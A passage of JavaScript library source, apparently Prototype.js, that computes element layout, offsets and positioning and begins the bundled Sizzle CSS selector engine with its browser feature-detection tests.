this._set(property, null);
}, this);

if (preCompute) {
this._preComputing = true;
this._begin();
Element.Layout.PROPERTIES.each( this._compute, this );
this._end();
this._preComputing = false;
}
},

_set: function(property, value) {
return Hash.prototype.set.call(this, property, value);
},

set: function(property, value) {
throw "Properties of Element.Layout are read-only.";
},

get: function($super, property) {
var value = $super(property);
return value === null ? this._compute(property) : value;
},

_begin: function() {
if (this._isPrepared()) return;

var element = this.element;
if (isDisplayed(element)) {
this._setPrepared(true);
return;
}


var originalStyles = {
position:   element.style.position   || '',
width:      element.style.width      || '',
visibility: element.style.visibility || '',
display:    element.style.display    || ''
};

element.store('prototype_original_styles', originalStyles);

var position = getRawStyle(element, 'position'), width = element.offsetWidth;

if (width === 0 || width === null) {
element.style.display = 'block';
width = element.offsetWidth;
}

var context = (position === 'fixed') ? document.viewport :
element.parentNode;

var tempStyles = {
visibility: 'hidden',
display:    'block'
};

if (position !== 'fixed') tempStyles.position = 'absolute';

element.setStyle(tempStyles);

var positionedWidth = element.offsetWidth, newWidth;
if (width && (positionedWidth === width)) {
newWidth = getContentWidth(element, context);
} else if (position === 'absolute' || position === 'fixed') {
newWidth = getContentWidth(element, context);
} else {
var parent = element.parentNode, pLayout = $(parent).getLayout();

newWidth = pLayout.get('width') -
this.get('margin-left') -
this.get('border-left') -
this.get('padding-left') -
this.get('padding-right') -
this.get('border-right') -
this.get('margin-right');
}

element.setStyle({ width: newWidth + 'px' });

this._setPrepared(true);
},

_end: function() {
var element = this.element;
var originalStyles = element.retrieve('prototype_original_styles');
element.store('prototype_original_styles', null);
element.setStyle(originalStyles);
this._setPrepared(false);
},

_compute: function(property) {
var COMPUTATIONS = Element.Layout.COMPUTATIONS;
if (!(property in COMPUTATIONS)) {
throw "Property not found.";
}

return this._set(property, COMPUTATIONS[property].call(this, this.element));
},

_isPrepared: function() {
return this.element.retrieve('prototype_element_layout_prepared', false);
},

_setPrepared: function(bool) {
return this.element.store('prototype_element_layout_prepared', bool);
},

toObject: function() {
var args = $A(arguments);
var keys = (args.length === 0) ? Element.Layout.PROPERTIES :
args.join(' ').split(' ');
var obj = {};
keys.each( function(key) {
if (!Element.Layout.PROPERTIES.include(key)) return;
var value = this.get(key);
if (value != null) obj[key] = value;
}, this);
return obj;
},

toHash: function() {
var obj = this.toObject.apply(this, arguments);
return new Hash(obj);
},

toCSS: function() {
var args = $A(arguments);
var keys = (args.length === 0) ? Element.Layout.PROPERTIES :
args.join(' ').split(' ');
var css = {};

keys.each( function(key) {
if (!Element.Layout.PROPERTIES.include(key)) return;
if (Element.Layout.COMPOSITE_PROPERTIES.include(key)) return;

var value = this.get(key);
if (value != null) css[cssNameFor(key)] = value + 'px';
}, this);
return css;
},

inspect: function() {
return "#<Element.Layout>";
}
});

Object.extend(Element.Layout, {
PROPERTIES: $w('height width top left right bottom border-left border-right border-top border-bottom padding-left padding-right padding-top padding-bottom margin-top margin-bottom margin-left margin-right padding-box-width padding-box-height border-box-width border-box-height margin-box-width margin-box-height'),

COMPOSITE_PROPERTIES: $w('padding-box-width padding-box-height margin-box-width margin-box-height border-box-width border-box-height'),

COMPUTATIONS: {
'height': function(element) {
if (!this._preComputing) this._begin();

var bHeight = this.get('border-box-height');
if (bHeight <= 0) {
if (!this._preComputing) this._end();
return 0;
}

var bTop = this.get('border-top'),
bBottom = this.get('border-bottom');

var pTop = this.get('padding-top'),
pBottom = this.get('padding-bottom');

if (!this._preComputing) this._end();

return bHeight - bTop - bBottom - pTop - pBottom;
},

'width': function(element) {
if (!this._preComputing) this._begin();

var bWidth = this.get('border-box-width');
if (bWidth <= 0) {
if (!this._preComputing) this._end();
return 0;
}

var bLeft = this.get('border-left'),
bRight = this.get('border-right');

var pLeft = this.get('padding-left'),
pRight = this.get('padding-right');

if (!this._preComputing) this._end();
return bWidth - bLeft - bRight - pLeft - pRight;
},

'padding-box-height': function(element) {
var height = this.get('height'),
pTop = this.get('padding-top'),
pBottom = this.get('padding-bottom');

return height + pTop + pBottom;
},

'padding-box-width': function(element) {
var width = this.get('width'),
pLeft = this.get('padding-left'),
pRight = this.get('padding-right');

return width + pLeft + pRight;
},

'border-box-height': function(element) {
if (!this._preComputing) this._begin();
var height = element.offsetHeight;
if (!this._preComputing) this._end();
return height;
},

'border-box-width': function(element) {
if (!this._preComputing) this._begin();
var width = element.offsetWidth;
if (!this._preComputing) this._end();
return width;
},

'margin-box-height': function(element) {
var bHeight = this.get('border-box-height'),
mTop = this.get('margin-top'),
mBottom = this.get('margin-bottom');

if (bHeight <= 0) return 0;

return bHeight + mTop + mBottom;
},

'margin-box-width': function(element) {
var bWidth = this.get('border-box-width'),
mLeft = this.get('margin-left'),
mRight = this.get('margin-right');

if (bWidth <= 0) return 0;

return bWidth + mLeft + mRight;
},

'top': function(element) {
var offset = element.positionedOffset();
return offset.top;
},

'bottom': function(element) {
var offset = element.positionedOffset(),
parent = element.getOffsetParent(),
pHeight = parent.measure('height');

var mHeight = this.get('border-box-height');

return pHeight - mHeight - offset.top;
},

'left': function(element) {
var offset = element.positionedOffset();
return offset.left;
},

'right': function(element) {
var offset = element.positionedOffset(),
parent = element.getOffsetParent(),
pWidth = parent.measure('width');

var mWidth = this.get('border-box-width');

return pWidth - mWidth - offset.left;
},

'padding-top': function(element) {
return getPixelValue(element, 'paddingTop');
},

'padding-bottom': function(element) {
return getPixelValue(element, 'paddingBottom');
},

'padding-left': function(element) {
return getPixelValue(element, 'paddingLeft');
},

'padding-right': function(element) {
return getPixelValue(element, 'paddingRight');
},

'border-top': function(element) {
return getPixelValue(element, 'borderTopWidth');
},

'border-bottom': function(element) {
return getPixelValue(element, 'borderBottomWidth');
},

'border-left': function(element) {
return getPixelValue(element, 'borderLeftWidth');
},

'border-right': function(element) {
return getPixelValue(element, 'borderRightWidth');
},

'margin-top': function(element) {
return getPixelValue(element, 'marginTop');
},

'margin-bottom': function(element) {
return getPixelValue(element, 'marginBottom');
},

'margin-left': function(element) {
return getPixelValue(element, 'marginLeft');
},

'margin-right': function(element) {
return getPixelValue(element, 'marginRight');
}
}
});

if ('getBoundingClientRect' in document.documentElement) {
Object.extend(Element.Layout.COMPUTATIONS, {
'right': function(element) {
var parent = hasLayout(element.getOffsetParent());
var rect = element.getBoundingClientRect(),
pRect = parent.getBoundingClientRect();

return (pRect.right - rect.right).round();
},

'bottom': function(element) {
var parent = hasLayout(element.getOffsetParent());
var rect = element.getBoundingClientRect(),
pRect = parent.getBoundingClientRect();

return (pRect.bottom - rect.bottom).round();
}
});
}

Element.Offset = Class.create({
initialize: function(left, top) {
this.left = left.round();
this.top  = top.round();

this[0] = this.left;
this[1] = this.top;
},

relativeTo: function(offset) {
return new Element.Offset(
this.left - offset.left,
this.top  - offset.top
);
},

inspect: function() {
return "#<Element.Offset left: #{left} top: #{top}>".interpolate(this);
},

toString: function() {
return "[#{left}, #{top}]".interpolate(this);
},

toArray: function() {
return [this.left, this.top];
}
});

function getLayout(element, preCompute) {
return new Element.Layout(element, preCompute);
}

function measure(element, property) {
return $(element).getLayout().get(property);
}

function getHeight(element) {
return Element.getDimensions(element).height;
}

function getWidth(element) {
return Element.getDimensions(element).width;
}

function getDimensions(element) {
element = $(element);
var display = Element.getStyle(element, 'display');

if (display && display !== 'none') {
return { width: element.offsetWidth, height: element.offsetHeight };
}

var style = element.style;
var originalStyles = {
visibility: style.visibility,
position:   style.position,
display:    style.display
};

var newStyles = {
visibility: 'hidden',
display:    'block'
};

if (originalStyles.position !== 'fixed')
newStyles.position = 'absolute';

Element.setStyle(element, newStyles);

var dimensions = {
width:  element.offsetWidth,
height: element.offsetHeight
};

Element.setStyle(element, originalStyles);

return dimensions;
}

function getOffsetParent(element) {
element = $(element);

function selfOrBody(element) {
return isHtml(element) ? $(document.body) : $(element);
}

if (isDocument(element) || isDetached(element) || isBody(element) || isHtml(element))
return $(document.body);

var isInline = (Element.getStyle(element, 'display') === 'inline');
if (!isInline && element.offsetParent) return selfOrBody(element.offsetParent);

while ((element = element.parentNode) && element !== document.body) {
if (Element.getStyle(element, 'position') !== 'static') {
return selfOrBody(element);
}
}

return $(document.body);
}


function cumulativeOffset(element) {
element = $(element);
var valueT = 0, valueL = 0;
if (element.parentNode) {
do {
valueT += element.offsetTop  || 0;
valueL += element.offsetLeft || 0;
element = element.offsetParent;
} while (element);
}
return new Element.Offset(valueL, valueT);
}

function positionedOffset(element) {
element = $(element);

var layout = element.getLayout();

var valueT = 0, valueL = 0;
do {
valueT += element.offsetTop  || 0;
valueL += element.offsetLeft || 0;
element = element.offsetParent;
if (element) {
if (isBody(element)) break;
var p = Element.getStyle(element, 'position');
if (p !== 'static') break;
}
} while (element);

valueL -= layout.get('margin-left');
valueT -= layout.get('margin-top');

return new Element.Offset(valueL, valueT);
}

function cumulativeScrollOffset(element) {
var valueT = 0, valueL = 0;
do {
if (element === document.body) {
var bodyScrollNode = document.documentElement || document.body.parentNode || document.body;
valueT += !Object.isUndefined(window.pageYOffset) ? window.pageYOffset : bodyScrollNode.scrollTop || 0;
valueL += !Object.isUndefined(window.pageXOffset) ? window.pageXOffset : bodyScrollNode.scrollLeft || 0;
break;
} else {
valueT += element.scrollTop  || 0;
valueL += element.scrollLeft || 0;
element = element.parentNode;
}
} while (element);
return new Element.Offset(valueL, valueT);
}

function viewportOffset(forElement) {
var valueT = 0, valueL = 0, docBody = document.body;

forElement = $(forElement);
var element = forElement;
do {
valueT += element.offsetTop  || 0;
valueL += element.offsetLeft || 0;
if (element.offsetParent == docBody &&
Element.getStyle(element, 'position') == 'absolute') break;
} while (element = element.offsetParent);

element = forElement;
do {
if (element != docBody) {
valueT -= element.scrollTop  || 0;
valueL -= element.scrollLeft || 0;
}
} while (element = element.parentNode);
return new Element.Offset(valueL, valueT);
}

function absolutize(element) {
element = $(element);

if (Element.getStyle(element, 'position') === 'absolute') {
return element;
}

var offsetParent = getOffsetParent(element);
var eOffset = element.viewportOffset(),
pOffset = offsetParent.viewportOffset();

var offset = eOffset.relativeTo(pOffset);
var layout = element.getLayout();

element.store('prototype_absolutize_original_styles', {
position: element.getStyle('position'),
left:     element.getStyle('left'),
top:      element.getStyle('top'),
width:    element.getStyle('width'),
height:   element.getStyle('height')
});

element.setStyle({
position: 'absolute',
top:    offset.top + 'px',
left:   offset.left + 'px',
width:  layout.get('width') + 'px',
height: layout.get('height') + 'px'
});

return element;
}

function relativize(element) {
element = $(element);
if (Element.getStyle(element, 'position') === 'relative') {
return element;
}

var originalStyles =
element.retrieve('prototype_absolutize_original_styles');

if (originalStyles) element.setStyle(originalStyles);
return element;
}


function scrollTo(element) {
element = $(element);
var pos = Element.cumulativeOffset(element);
window.scrollTo(pos.left, pos.top);
return element;
}


function makePositioned(element) {
element = $(element);
var position = Element.getStyle(element, 'position'), styles = {};
if (position === 'static' || !position) {
styles.position = 'relative';
if (Prototype.Browser.Opera) {
styles.top  = 0;
styles.left = 0;
}
Element.setStyle(element, styles);
Element.store(element, 'prototype_made_positioned', true);
}
return element;
}

function undoPositioned(element) {
element = $(element);
var storage = Element.getStorage(element),
madePositioned = storage.get('prototype_made_positioned');

if (madePositioned) {
storage.unset('prototype_made_positioned');
Element.setStyle(element, {
position: '',
top:      '',
bottom:   '',
left:     '',
right:    ''
});
}
return element;
}

function makeClipping(element) {
element = $(element);

var storage = Element.getStorage(element),
madeClipping = storage.get('prototype_made_clipping');

if (Object.isUndefined(madeClipping)) {
var overflow = Element.getStyle(element, 'overflow');
storage.set('prototype_made_clipping', overflow);
if (overflow !== 'hidden')
element.style.overflow = 'hidden';
}

return element;
}

function undoClipping(element) {
element = $(element);
var storage = Element.getStorage(element),
overflow = storage.get('prototype_made_clipping');

if (!Object.isUndefined(overflow)) {
storage.unset('prototype_made_clipping');
element.style.overflow = overflow || '';
}

return element;
}

function clonePosition(element, source, options) {
options = Object.extend({
setLeft:    true,
setTop:     true,
setWidth:   true,
setHeight:  true,
offsetTop:  0,
offsetLeft: 0
}, options || {});

var docEl = document.documentElement;

source  = $(source);
element = $(element);
var p, delta, layout, styles = {};

if (options.setLeft || options.setTop) {
p = Element.viewportOffset(source);
delta = [0, 0];
if (Element.getStyle(element, 'position') === 'absolute') {
var parent = Element.getOffsetParent(element);
if (parent !== document.body) delta = Element.viewportOffset(parent);
}
}

function pageScrollXY() {
var x = 0, y = 0;
if (Object.isNumber(window.pageXOffset)) {
x = window.pageXOffset;
y = window.pageYOffset;
} else if (document.body && (document.body.scrollLeft || document.body.scrollTop)) {
x = document.body.scrollLeft;
y = document.body.scrollTop;
} else if (docEl && (docEl.scrollLeft || docEl.scrollTop)) {
x = docEl.scrollLeft;
y = docEl.scrollTop;
}
return { x: x, y: y };
}

var pageXY = pageScrollXY();


if (options.setWidth || options.setHeight) {
layout = Element.getLayout(source);
}

if (options.setLeft)
styles.left = (p[0] + pageXY.x - delta[0] + options.offsetLeft) + 'px';
if (options.setTop)
styles.top  = (p[1] + pageXY.y - delta[1] + options.offsetTop)  + 'px';

var currentLayout = element.getLayout();

if (options.setWidth) {
styles.width = layout.get('width')  + 'px';
}
if (options.setHeight) {
styles.height = layout.get('height') + 'px';
}

return Element.setStyle(element, styles);
}


if (Prototype.Browser.IE) {
getOffsetParent = getOffsetParent.wrap(
function(proceed, element) {
element = $(element);

if (isDocument(element) || isDetached(element) || isBody(element) || isHtml(element))
return $(document.body);

var position = element.getStyle('position');
if (position !== 'static') return proceed(element);

element.setStyle({ position: 'relative' });
var value = proceed(element);
element.setStyle({ position: position });
return value;
}
);

positionedOffset = positionedOffset.wrap(function(proceed, element) {
element = $(element);
if (!element.parentNode) return new Element.Offset(0, 0);
var position = element.getStyle('position');
if (position !== 'static') return proceed(element);

var offsetParent = element.getOffsetParent();
if (offsetParent && offsetParent.getStyle('position') === 'fixed')
hasLayout(offsetParent);

element.setStyle({ position: 'relative' });
var value = proceed(element);
element.setStyle({ position: position });
return value;
});
} else if (Prototype.Browser.Webkit) {
cumulativeOffset = function(element) {
element = $(element);
var valueT = 0, valueL = 0;
do {
valueT += element.offsetTop  || 0;
valueL += element.offsetLeft || 0;
if (element.offsetParent == document.body) {
if (Element.getStyle(element, 'position') == 'absolute') break;
}

element = element.offsetParent;
} while (element);

return new Element.Offset(valueL, valueT);
};
}


Element.addMethods({
getLayout:              getLayout,
measure:                measure,
getWidth:               getWidth,
getHeight:              getHeight,
getDimensions:          getDimensions,
getOffsetParent:        getOffsetParent,
cumulativeOffset:       cumulativeOffset,
positionedOffset:       positionedOffset,
cumulativeScrollOffset: cumulativeScrollOffset,
viewportOffset:         viewportOffset,
absolutize:             absolutize,
relativize:             relativize,
scrollTo:               scrollTo,
makePositioned:         makePositioned,
undoPositioned:         undoPositioned,
makeClipping:           makeClipping,
undoClipping:           undoClipping,
clonePosition:          clonePosition
});

function isBody(element) {
return element.nodeName.toUpperCase() === 'BODY';
}

function isHtml(element) {
return element.nodeName.toUpperCase() === 'HTML';
}

function isDocument(element) {
return element.nodeType === Node.DOCUMENT_NODE;
}

function isDetached(element) {
return element !== document.body &&
!Element.descendantOf(element, document.body);
}

if ('getBoundingClientRect' in document.documentElement) {
Element.addMethods({
viewportOffset: function(element) {
element = $(element);
if (isDetached(element)) return new Element.Offset(0, 0);

var rect = element.getBoundingClientRect(),
docEl = document.documentElement;
return new Element.Offset(rect.left - docEl.clientLeft,
rect.top - docEl.clientTop);
}
});
}


})();

(function() {

var IS_OLD_OPERA = Prototype.Browser.Opera &&
(window.parseFloat(window.opera.version()) < 9.5);
var ROOT = null;
function getRootElement() {
if (ROOT) return ROOT;
ROOT = IS_OLD_OPERA ? document.body : document.documentElement;
return ROOT;
}

function getDimensions() {
return { width: this.getWidth(), height: this.getHeight() };
}

function getWidth() {
return getRootElement().clientWidth;
}

function getHeight() {
return getRootElement().clientHeight;
}

function getScrollOffsets() {
var x = window.pageXOffset || document.documentElement.scrollLeft ||
document.body.scrollLeft;
var y = window.pageYOffset || document.documentElement.scrollTop ||
document.body.scrollTop;

return new Element.Offset(x, y);
}

document.viewport = {
getDimensions:    getDimensions,
getWidth:         getWidth,
getHeight:        getHeight,
getScrollOffsets: getScrollOffsets
};

})();
window.$$ = function() {
var expression = $A(arguments).join(', ');
return Prototype.Selector.select(expression, document);
};

Prototype.Selector = (function() {

function select() {
throw new Error('Method "Prototype.Selector.select" must be defined.');
}

function match() {
throw new Error('Method "Prototype.Selector.match" must be defined.');
}

function find(elements, expression, index) {
index = index || 0;
var match = Prototype.Selector.match, length = elements.length, matchIndex = 0, i;

for (i = 0; i < length; i++) {
if (match(elements[i], expression) && index == matchIndex++) {
return Element.extend(elements[i]);
}
}
}

function extendElements(elements) {
for (var i = 0, length = elements.length; i < length; i++) {
Element.extend(elements[i]);
}
return elements;
}


var K = Prototype.K;

return {
select: select,
match: match,
find: find,
extendElements: (Element.extend === K) ? K : extendElements,
extendElement: Element.extend
};
})();
Prototype._original_property = window.Sizzle;

;(function () {
function fakeDefine(fn) {
Prototype._actual_sizzle = fn();
}
fakeDefine.amd = true;

if (typeof define !== 'undefined' && define.amd) {
Prototype._original_define = define;
Prototype._actual_sizzle = null;
window.define = fakeDefine;
}
})();

/*!
* Sizzle CSS Selector Engine v1.10.18
* http://sizzlejs.com/
*
* Copyright 2013 jQuery Foundation, Inc. and other contributors
* Released under the MIT license
* http://jquery.org/license
*
* Date: 2014-02-05
*/
(function( window ) {

var i,
support,
Expr,
getText,
isXML,
compile,
select,
outermostContext,
sortInput,
hasDuplicate,

setDocument,
document,
docElem,
documentIsHTML,
rbuggyQSA,
rbuggyMatches,
matches,
contains,

expando = "sizzle" + -(new Date()),
preferredDoc = window.document,
dirruns = 0,
done = 0,
classCache = createCache(),
tokenCache = createCache(),
compilerCache = createCache(),
sortOrder = function( a, b ) {
if ( a === b ) {
hasDuplicate = true;
}
return 0;
},

strundefined = typeof undefined,
MAX_NEGATIVE = 1 << 31,

hasOwn = ({}).hasOwnProperty,
arr = [],
pop = arr.pop,
push_native = arr.push,
push = arr.push,
slice = arr.slice,
indexOf = arr.indexOf || function( elem ) {
var i = 0,
len = this.length;
for ( ; i < len; i++ ) {
if ( this[i] === elem ) {
return i;
}
}
return -1;
},

booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",


whitespace = "[\\x20\\t\\r\\n\\f]",
characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",

identifier = characterEncoding.replace( "w", "w#" ),

attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace +
"*(?:([*^$|!~]?=)" + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]",

pseudos = ":(" + characterEncoding + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + attributes.replace( 3, 8 ) + ")*)|.*)\\)|)",

rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),

rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ),

rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ),

rpseudo = new RegExp( pseudos ),
ridentifier = new RegExp( "^" + identifier + "$" ),

matchExpr = {
"ID": new RegExp( "^#(" + characterEncoding + ")" ),
"CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ),
"TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ),
"ATTR": new RegExp( "^" + attributes ),
"PSEUDO": new RegExp( "^" + pseudos ),
"CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace +
"*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
"*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
"bool": new RegExp( "^(?:" + booleans + ")$", "i" ),
"needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
},

rinputs = /^(?:input|select|textarea|button)$/i,
rheader = /^h\d$/i,

rnative = /^[^{]+\{\s*\[native \w/,

rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,

rsibling = /[+~]/,
rescape = /'|\\/g,

runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ),
funescape = function( _, escaped, escapedWhitespace ) {
var high = "0x" + escaped - 0x10000;
return high !== high || escapedWhitespace ?
escaped :
high < 0 ?
String.fromCharCode( high + 0x10000 ) :
String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
};

try {
push.apply(
(arr = slice.call( preferredDoc.childNodes )),
preferredDoc.childNodes
);
arr[ preferredDoc.childNodes.length ].nodeType;
} catch ( e ) {
push = { apply: arr.length ?

function( target, els ) {
push_native.apply( target, slice.call(els) );
} :

function( target, els ) {
var j = target.length,
i = 0;
while ( (target[j++] = els[i++]) ) {}
target.length = j - 1;
}
};
}

function Sizzle( selector, context, results, seed ) {
var match, elem, m, nodeType,
i, groups, old, nid, newContext, newSelector;

if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {
setDocument( context );
}

context = context || document;
results = results || [];

if ( !selector || typeof selector !== "string" ) {
return results;
}

if ( (nodeType = context.nodeType) !== 1 && nodeType !== 9 ) {
return [];
}

if ( documentIsHTML && !seed ) {

if ( (match = rquickExpr.exec( selector )) ) {
if ( (m = match[1]) ) {
if ( nodeType === 9 ) {
elem = context.getElementById( m );
if ( elem && elem.parentNode ) {
if ( elem.id === m ) {
results.push( elem );
return results;
}
} else {
return results;
}
} else {
if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&
contains( context, elem ) && elem.id === m ) {
results.push( elem );
return results;
}
}

} else if ( match[2] ) {
push.apply( results, context.getElementsByTagName( selector ) );
return results;

} else if ( (m = match[3]) && support.getElementsByClassName && context.getElementsByClassName ) {
push.apply( results, context.getElementsByClassName( m ) );
return results;
}
}

if ( support.qsa && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) {
nid = old = expando;
newContext = context;
newSelector = nodeType === 9 && selector;

if ( nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
groups = tokenize( selector );

if ( (old = context.getAttribute("id")) ) {
nid = old.replace( rescape, "\\$&" );
} else {
context.setAttribute( "id", nid );
}
nid = "[id='" + nid + "'] ";

i = groups.length;
while ( i-- ) {
groups[i] = nid + toSelector( groups[i] );
}
newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context;
newSelector = groups.join(",");
}

if ( newSelector ) {
try {
push.apply( results,
newContext.querySelectorAll( newSelector )
);
return results;
} catch(qsaError) {
} finally {
if ( !old ) {
context.removeAttribute("id");
}
}
}
}
}

return select( selector.replace( rtrim, "$1" ), context, results, seed );
}

/**
* Create key-value caches of limited size
* @returns {Function(string, Object)} Returns the Object data after storing it on itself with
*	property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
*	deleting the oldest entry
*/
function createCache() {
var keys = [];

function cache( key, value ) {
if ( keys.push( key + " " ) > Expr.cacheLength ) {
delete cache[ keys.shift() ];
}
return (cache[ key + " " ] = value);
}
return cache;
}

/**
* Mark a function for special use by Sizzle
* @param {Function} fn The function to mark
*/
function markFunction( fn ) {
fn[ expando ] = true;
return fn;
}

/**
* Support testing using an element
* @param {Function} fn Passed the created div and expects a boolean result
*/
function assert( fn ) {
var div = document.createElement("div");

try {
return !!fn( div );
} catch (e) {
return false;
} finally {
if ( div.parentNode ) {
div.parentNode.removeChild( div );
}
div = null;
}
}

/**
* Adds the same handler for all of the specified attrs
* @param {String} attrs Pipe-separated list of attributes
* @param {Function} handler The method that will be applied
*/
function addHandle( attrs, handler ) {
var arr = attrs.split("|"),
i = attrs.length;

while ( i-- ) {
Expr.attrHandle[ arr[i] ] = handler;
}
}

/**
* Checks document order of two siblings
* @param {Element} a
* @param {Element} b
* @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b
*/
function siblingCheck( a, b ) {
var cur = b && a,
diff = cur && a.nodeType === 1 && b.nodeType === 1 &&
( ~b.sourceIndex || MAX_NEGATIVE ) -
( ~a.sourceIndex || MAX_NEGATIVE );

if ( diff ) {
return diff;
}

if ( cur ) {
while ( (cur = cur.nextSibling) ) {
if ( cur === b ) {
return -1;
}
}
}

return a ? 1 : -1;
}

/**
* Returns a function to use in pseudos for input types
* @param {String} type
*/
function createInputPseudo( type ) {
return function( elem ) {
var name = elem.nodeName.toLowerCase();
return name === "input" && elem.type === type;
};
}

/**
* Returns a function to use in pseudos for buttons
* @param {String} type
*/
function createButtonPseudo( type ) {
return function( elem ) {
var name = elem.nodeName.toLowerCase();
return (name === "input" || name === "button") && elem.type === type;
};
}

/**
* Returns a function to use in pseudos for positionals
* @param {Function} fn
*/
function createPositionalPseudo( fn ) {
return markFunction(function( argument ) {
argument = +argument;
return markFunction(function( seed, matches ) {
var j,
matchIndexes = fn( [], seed.length, argument ),
i = matchIndexes.length;

while ( i-- ) {
if ( seed[ (j = matchIndexes[i]) ] ) {
seed[j] = !(matches[j] = seed[j]);
}
}
});
});
}

/**
* Checks a node for validity as a Sizzle context
* @param {Element|Object=} context
* @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
*/
function testContext( context ) {
return context && typeof context.getElementsByTagName !== strundefined && context;
}

support = Sizzle.support = {};

/**
* Detects XML nodes
* @param {Element|Object} elem An element or a document
* @returns {Boolean} True iff elem is a non-HTML XML node
*/
isXML = Sizzle.isXML = function( elem ) {
var documentElement = elem && (elem.ownerDocument || elem).documentElement;
return documentElement ? documentElement.nodeName !== "HTML" : false;
};

/**
* Sets document-related variables once based on the current document
* @param {Element|Object} [doc] An element or document object to use to set the document
* @returns {Object} Returns the current document
*/
setDocument = Sizzle.setDocument = function( node ) {
var hasCompare,
doc = node ? node.ownerDocument || node : preferredDoc,
parent = doc.defaultView;

if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {
return document;
}

document = doc;
docElem = doc.documentElement;

documentIsHTML = !isXML( doc );

if ( parent && parent !== parent.top ) {
if ( parent.addEventListener ) {
parent.addEventListener( "unload", function() {
setDocument();
}, false );
} else if ( parent.attachEvent ) {
parent.attachEvent( "onunload", function() {
setDocument();
});
}
}

/* Attributes
---------------------------------------------------------------------- */

support.attributes = assert(function( div ) {
div.className = "i";
return !div.getAttribute("className");
});

/* getElement(s)By*
---------------------------------------------------------------------- */

support.getElementsByTagName = assert(function( div ) {
div.appendChild( doc.createComment("") );
return !div.getElementsByTagName("*").length;
});

support.getElementsByClassName = rnative.test( doc.getElementsByClassName ) && assert(function( div ) {
div.innerHTML = "<div class='a'></div><div class='a i'></div>";

div.firstChild.className = "i";
return div.getElementsByClassName("i").length === 2;
});

support.getById = assert(function( div ) {
docElem.appendChild( div ).id = expando;
return !doc.getElementsByName || !doc.getElementsByName( expando ).length;
});

if ( support.getById ) {
Expr.find["ID"] = function( id, context ) {
if ( typeof context.getElementById !== strundefined && documentIsHTML ) {
var m = context.getElementById( id );
return m && m.parentNode ? [m] : [];
}
};
Expr.filter["ID"] = function( id ) {
var attrId = id.replace( runescape, funescape );
return function( elem ) {
return elem.getAttribute("id") === attrId;
};
};
} else {
delete Expr.find["ID"];

Expr.filter["ID"] =  function( id ) {
var attrId = id.replace( runescape, funescape );
return function( elem ) {
var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id");
return node && node.value === attrId;
};
};
}

Expr.find["TAG"] = support.getElementsByTagName ?
function( tag, context ) {
if ( typeof context.getElementsByTagName !== strundefined ) {
return context.getElementsByTagName( tag );
}
} :
function( tag, context ) {
var elem,
tmp = [],
i = 0,
results = context.getElementsByTagName( tag );

if ( tag === "*" ) {
while ( (elem = results[i++]) ) {
if ( elem.nodeType === 1 ) {
tmp.push( elem );
}
}

return tmp;
}
return results;
};

Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) {
if ( typeof context.getElementsByClassName !== strundefined && documentIsHTML ) {
return context.getElementsByClassName( className );
}
};

/* QSA/matchesSelector
---------------------------------------------------------------------- */


rbuggyMatches = [];

rbuggyQSA = [];

if ( (support.qsa = rnative.test( doc.querySelectorAll )) ) {
assert(function( div ) {
div.innerHTML = "<select t=''><option selected=''></option></select>";

if ( div.querySelectorAll("[t^='']").length ) {
rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" );
}

if ( !div.querySelectorAll("[selected]").length ) {
rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
}

if ( !div.querySelectorAll(":checked").length ) {
rbuggyQSA.push(":checked");
}
});

assert(function( div ) {
var input = doc.createElement("input");
input.setAttribute( "type", "hidden" );
div.appendChild( input ).setAttribute( "name", "D" );

if ( div.querySelectorAll("[name=d]").length ) {
rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" );
}

if ( !div.querySelectorAll(":enabled").length ) {
rbuggyQSA.push( ":enabled", ":disabled" );
}

div.querySelectorAll("*,:x");
rbuggyQSA.push(",.*:");
});
}

if ( (support.matchesSelector = rnative.test( (matches = docElem.webkitMatchesSelector ||
docElem.mozMatchesSelector ||
docElem.oMatchesSelector ||
docElem.msMatchesSelector) )) ) {

assert(function( div ) {
support.disconnectedMatch = matches.call( div, "div" );

matches.call( div, "[s!='']:x" );
rbuggyMatches.push( "!=", pseudos );
});
}

